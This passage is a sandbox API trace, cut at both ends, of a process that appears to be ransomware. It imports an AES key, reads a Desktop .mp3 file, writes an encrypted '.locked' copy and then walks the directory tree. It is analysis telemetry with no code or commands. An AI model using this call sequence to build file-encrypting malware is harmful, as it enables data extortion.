OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.828] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0129.828] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0129.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0129.828] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.828] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0129.828] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0129.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0129.829] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.829] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0129.829] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0129.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0129.829] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.829] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0129.829] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0129.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0129.829] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.829] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0129.829] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0129.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0129.829] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.830] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.830] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.830] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.830] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.830] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.830] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.830] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.830] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.831] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.831] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.831] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.831] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0129.833] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x8e028b0) returned 1 [0129.834] CryptImportKey (in: hProv=0x8e028b0, pbData=0x6acfc94, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e850b8) returned 1 [0129.834] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0129.834] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\xfb8c\x6ac") returned 0x0 [0129.834] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.834] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.834] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.835] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3")) returned 0x20 [0129.836] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3")) returned 0x20 [0129.836] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.836] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.836] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.836] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.837] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.837] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.837] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.837] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.837] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.838] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0129.838] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0129.838] GetFileType (hFile=0x874) returned 0x1 [0129.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0129.838] GetFileType (hFile=0x874) returned 0x1 [0129.838] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.853] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0129.853] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.853] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.853] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.853] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked", lpFilePart=0x0) returned 0x32 [0129.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0129.854] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0129.869] GetFileType (hFile=0x868) returned 0x1 [0129.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0129.869] GetFileType (hFile=0x868) returned 0x1 [0129.869] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.869] CryptGenRandom (in: hProv=0x8e028b0, dwLen=0x10, pbBuffer=0x6ae4fbc | out: pbBuffer=0x6ae4fbc) returned 1 [0129.870] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0129.870] CryptDuplicateKey (in: hKey=0x8e850b8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84c38) returned 1 [0129.870] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0129.870] CryptSetKeyParam (hKey=0x8e84c38, dwParam=0x4, pbData=0x6ae6278*=0x1, dwFlags=0x0) returned 1 [0129.870] CryptSetKeyParam (hKey=0x8e84c38, dwParam=0x1, pbData=0x6ae6244, dwFlags=0x0) returned 1 [0129.871] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\xef70\x437\x242") returned 0x0 [0129.871] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.871] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.871] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.872] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.872] ReadFile (in: hFile=0x874, lpBuffer=0x6ae97d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6ae97d4*, lpNumberOfBytesRead=0x99ae6cc*=0x9942, lpOverlapped=0x0) returned 1 [0129.874] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69085c8*, pdwDataLen=0x99ae6c0*=0x9940, dwBufLen=0x9940 | out: pbData=0x69085c8*, pdwDataLen=0x99ae6c0*=0x9940) returned 1 [0129.874] WriteFile (in: hFile=0x868, lpBuffer=0x68f30e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x68f30e0*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0129.875] WriteFile (in: hFile=0x868, lpBuffer=0x69095b4*, nNumberOfBytesToWrite=0x8954, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x69095b4*, lpNumberOfBytesWritten=0x99ae6a4*=0x8954, lpOverlapped=0x0) returned 1 [0129.876] ReadFile (in: hFile=0x874, lpBuffer=0x68f45bc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x68f45bc*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0129.876] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6911f2c*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6911f2c*, pdwDataLen=0x99ae714*=0x10) returned 1 [0129.876] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6911f60*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6911f60*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0129.876] WriteFile (in: hFile=0x868, lpBuffer=0x68f30e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x68f30e0*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0129.877] CloseHandle (hObject=0x868) returned 1 [0129.890] CloseHandle (hObject=0x874) returned 1 [0129.891] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.891] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.891] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.891] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.891] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.892] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3")) returned 0x20 [0129.893] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0129.893] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0129.893] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0129.893] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0129.893] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0129.893] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0129.894] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0129.894] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0129.894] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0129.894] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0129.894] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: 